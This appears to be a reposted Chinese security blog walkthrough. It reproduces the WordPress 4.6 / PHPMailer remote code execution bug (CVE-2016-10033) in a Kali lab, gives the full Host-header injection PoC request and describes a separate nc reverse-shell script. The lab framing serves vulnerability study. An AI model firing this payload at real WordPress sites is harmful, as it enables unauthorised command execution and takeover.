WordPress _v4.6远程代码执行漏洞复现

reborn

WordPress _v4.6远程代码执行漏洞是PHPMailer漏洞(CVE-2016-10033)在WordPress Core代码的体现,远程攻击者可以利用该漏洞执行代码。

基础环境

1.WordPress _v4.6源码。

2.Kali虚拟机两台,一台搭建web环境靶机,一台作为攻击机。

源码部署过程

环境是LAMP+WordPress,这边是直接使用了kali的集成环境,使用其他linux版本的小伙伴也可自行搭建环境。

1.在kali启动apache和mysql服务

sudo /etc/init.d/apache2 start

sudo /etc/init.d/mysql start

2.创建数据库

启用完后在mysql里面创建一个数据库wordpress_db用来存放WordPress产生的数据。

mysql -u root -p #输入密码进入数据库,kaili默认密码为空

mysql > status; #检查联通性

mysql > create database wordpress_db; #创建一个wordpress_db 的数据库

mysql > show databases; #查看数据库

3.下载配置WordPress源码,下面是百度云盘下载地址链接。

链接:http://pan.baidu.com/s/1boWN7HH 密码:ewcm。

下载解压,copy文件至/var/www/html/目录下。

然后我们去访问这个网站,http://ip/wordpress,我本机ip是192.168.159.130。

这时有的机子会提示无法创建wp-config.php文件,我们手动创建wp-config.php,将上图蓝色部分的配置代码复制到wp-config.php文件里,保存之后,回到浏览器点击Run the install。

上图提示我们注册wordpress账号并完成安装。

看到上面Success就是安装成功。

漏洞复现过程

1.WordPress部署成功了,我们访问登陆模块,有一个忘记密码的链接。

开启Burp 代理拦截功能。

为了便于修改攻击请求包,我们将请求包发送到Burp repeater模块。

下面是漏洞PoC HTTP请求:

POST /wordpress/wp-login.php?action=lostpassword HTTP/1.1

Host: host_address(tmp1 -be ${run{${substr{0}{1}{$spool_directory}}usr${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}touch${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}test}} tmp2)

Content-Type: application/x-www-form-urlencoded

Content-Length: 56

user_login=admin&redirect_to=&wp-submit=Get+New+Password

这个PoC代码的意思是在靶机环境的/tmp目录下创建一个test文件。我们在靶机上查看创建成功与否。

我们可以在/tmp目录看到由www-data用户创建的test文件,说明代码执行成功。基于这个逻辑,我们可以编写一个PoC脚本写入代码来反弹shell。

下面就是编写好的脚本,百度云盘地址:

链接:http://pan.baidu.com/s/1gfmo1wB 密码:cfmr。

将3.sh脚本下载下来放到攻击机的kali上,执行该脚本。我攻击kali的ip是192.168.159.131,靶机是192.168.159.130,过程如下图:

总结

关于漏洞原理,我们可以查看360安全课的文章http://m.bobao.360.cn/news/detail/4146.html 学习,最后的攻击脚本也在原文给出的脚本进行了修改简化,反弹shell的方式利用了nc,另外,攻击机如果不是使用kali而是其他linux版本时,需要确保安装了python的环境。

原文发布于微信公众号 - 漏斗社区(newdooneSec)

原文发表时间:2017-05-26

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏微信小程序开发

你真的了解小程序的自定义编译功能嘛?

微信开发者工具最新的版本里面已经校验了app.json里面的重复pages,之前可以直接把你想要的page放在第一行,默认就会先加载这个page,现在只能通过自...

66110
来自专栏JavaEdge

Maven环境隔离解决的问题配置及原理目录初始化编译打包命令验证

解决的问题 避免人工修改的弊端,即容易犯错 轻松分环境编译,打包,部署 配置及原理 在pom.xml中增加build节点 ? 在pom.xml中增加pro...

4296
来自专栏阮一峰的网络日志

HTTP/2 服务器推送(Server Push)教程

HTTP/2 协议的主要目的是提高网页性能。 头信息(header)原来是直接传输文本,现在是压缩后传输。原来是同一个 TCP 连接里面,上一个回应(respo...

3555
来自专栏mukekeheart的iOS之旅

《从零开始做一个MEAN全栈项目》(4)

欢迎关注本人的微信公众号“前端小填填”,专注前端技术的基础和项目开发的学习。  在上一篇中,我们讲了如何去构建第一个Express项目,总结起来就是使用两个核心...

2956
来自专栏知晓程序

开发 | 拒绝打开就授权!小程序如何用新能力获取用户资料?

简单来说,这次能力更新,为 button 组件的 open-type 属性赋予了新的有效值 getUserInfo(声明需要获取用户信息)。

3063
来自专栏Java面试笔试题

在VMware上安装CentOS版本的Linux虚拟机

2.点击“编辑虚拟机设置”,选择“CD/DVD”,点击"使用ISO映像文件"在本地找到合适的镜像文件;

1582
来自专栏桥路_大数据

使用夜神模拟器运行React Native躺坑详解

5048
来自专栏编程微刊

自动调试自动编译五分钟上手

1857
来自专栏深度学习之tensorflow实战篇

mysql、mongodb、python(dataframe).聚合函数的形式,以及报错解决方案

1、mysql select * from table_name group by name,id 有的时候执行下面语句报错sql_mode=only_ful...

3084
来自专栏L宝宝聊IT

vCenter server 的部署和实施

1887

扫码关注云+社区

领取腾讯云代金券